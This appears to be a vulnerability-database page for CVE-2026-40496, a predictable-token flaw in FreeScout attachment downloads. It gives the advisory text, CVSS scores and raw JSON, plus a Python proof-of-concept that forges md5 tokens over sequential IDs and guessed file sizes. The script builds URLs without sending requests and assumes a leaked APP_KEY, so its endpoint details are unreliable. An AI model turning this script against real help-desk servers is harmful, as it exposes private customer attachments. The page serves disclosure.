Security Vulnerability Report
中文
CVE-2026-40496 CVSS 9.1 CRITICAL

CVE-2026-40496

Published: 2026-04-21 02:16:08
Last Modified: 2026-04-23 16:33:00

Description

FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.213, attachment download tokens are generated using a weak and predictable formula: `md5(APP_KEY + attachment_id + size)`. Since attachment_id is sequential and size can be brute-forced in a small range, an unauthenticated attacker can forge valid tokens and download any private attachment without credentials. Version 1.8.213 fixes the issue.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:freescout:freescout:*:*:*:*:*:*:*:* - VULNERABLE
FreeScout < 1.8.213

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import hashlib # Exploit logic for CVE-2026-40496 # Assumption: APP_KEY is known, leaked, or default. # The token generation logic is: md5(APP_KEY + attachment_id + size) def generate_token(app_key, attachment_id, size): # Concatenate parameters based on the vulnerable logic raw_string = f"{app_key}{attachment_id}{size}" # Generate MD5 hash return hashlib.md5(raw_string.encode()).hexdigest() def exploit(target_url, app_key, start_id=1, end_id=1000): print(f"[*] Starting exploit against {target_url}") # Iterate through sequential attachment IDs for attachment_id in range(start_id, end_id + 1): # Common file sizes to brute-force (in bytes) # Example sizes: 1KB, 10KB, 100KB, 1MB, 5MB common_sizes = [1024, 10240, 102400, 1048576, 5242880] for size in common_sizes: token = generate_token(app_key, attachment_id, size) # Construct the malicious URL # Note: Actual endpoint structure may vary based on FreeScout version malicious_url = f"{target_url}/attachment/{attachment_id}/download?token={token}" print(f"[+] Trying ID: {attachment_id}, Size: {size}, Token: {token}") print(f" URL: {malicious_url}") # Attacker would send an HTTP request here and check status code (e.g., 200 OK) # if response is 200, the download is successful. if __name__ == "__main__": # Configuration TARGET = "http://example.com" LEAKED_APP_KEY = "base64:SECRET_KEY_HERE=" exploit(TARGET, LEAKED_APP_KEY)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40496", "sourceIdentifier": "[email protected]", "published": "2026-04-21T02:16:08.350", "lastModified": "2026-04-23T16:32:59.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.213, attachment download tokens are generated using a weak and predictable formula: `md5(APP_KEY + attachment_id + size)`. Since attachment_id is sequential and size can be brute-forced in a small range, an unauthenticated attacker can forge valid tokens and download any private attachment without credentials. Version 1.8.213 fixes the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-330"}, {"lang": "en", "value": "CWE-340"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freescout:freescout:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.213", "matchCriteriaId": "EA97ED0A-4886-4583-9D20-47BE39C40B01"}]}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/commit/dbdf8f2260b43a21818255c70f0b61b9de9cd555", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.213", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-2783-wxmm-wmwr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}